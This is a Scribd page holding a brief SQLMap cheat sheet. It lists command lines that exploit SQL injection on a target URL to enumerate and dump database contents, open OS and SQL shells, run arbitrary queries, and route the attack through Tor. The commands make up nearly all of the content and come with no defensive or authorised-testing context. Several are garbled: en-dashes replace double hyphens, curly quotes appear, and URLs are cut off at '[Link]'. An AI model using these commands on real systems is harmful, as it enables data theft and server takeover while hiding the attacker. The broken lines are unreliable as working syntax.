0% found this document useful (0 votes)
4 views1 page

SQLMap

This document is a cheat sheet for using SQLMap, a tool for automating the process of detecting and exploiting SQL injection vulnerabilities. It provides command-line examples for enumerating databases, tables, and columns, dumping table data, exploiting specific parameters, and obtaining OS or SQL shells. Additionally, it includes instructions for using a Tor Socks5 proxy with SQLMap.
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
4 views1 page

SQLMap

This document is a cheat sheet for using SQLMap, a tool for automating the process of detecting and exploiting SQL injection vulnerabilities. It provides command-line examples for enumerating databases, tables, and columns, dumping table data, exploiting specific parameters, and obtaining OS or SQL shells. Additionally, it includes instructions for using a Tor Socks5 proxy with SQLMap.
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd

SQLMap Cheat Sheet

# Enumerate databases
sqlmap --dbms=mysql -u "$URL" --dbs

# Enumerate tables
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" –tables

# Enumerate columns
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T “$TABLE” –columns --dump

# Dump table data


sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" -T "$TABLE" --dump

# Specify parameter to exploit


sqlmap --dbms=mysql -u "[Link] --dbs -p
param2

# Specify parameter to exploit in 'nice' URIs


sqlmap --dbms=mysql -u "[Link] --dbs #
exploits param1

# Get OS shell
sqlmap --dbms=mysql -u "$URL" --os-shell

# Get SQL shell


sqlmap --dbms=mysql -u "$URL" --sql-shell

# SQL query
sqlmap --dbms=mysql -u "$URL" -D "$DATABASE" --sql-query "SELECT * FROM $TABLE;"

# Use Tor Socks5 proxy


sqlmap --tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "$URL" --dbs

You might also like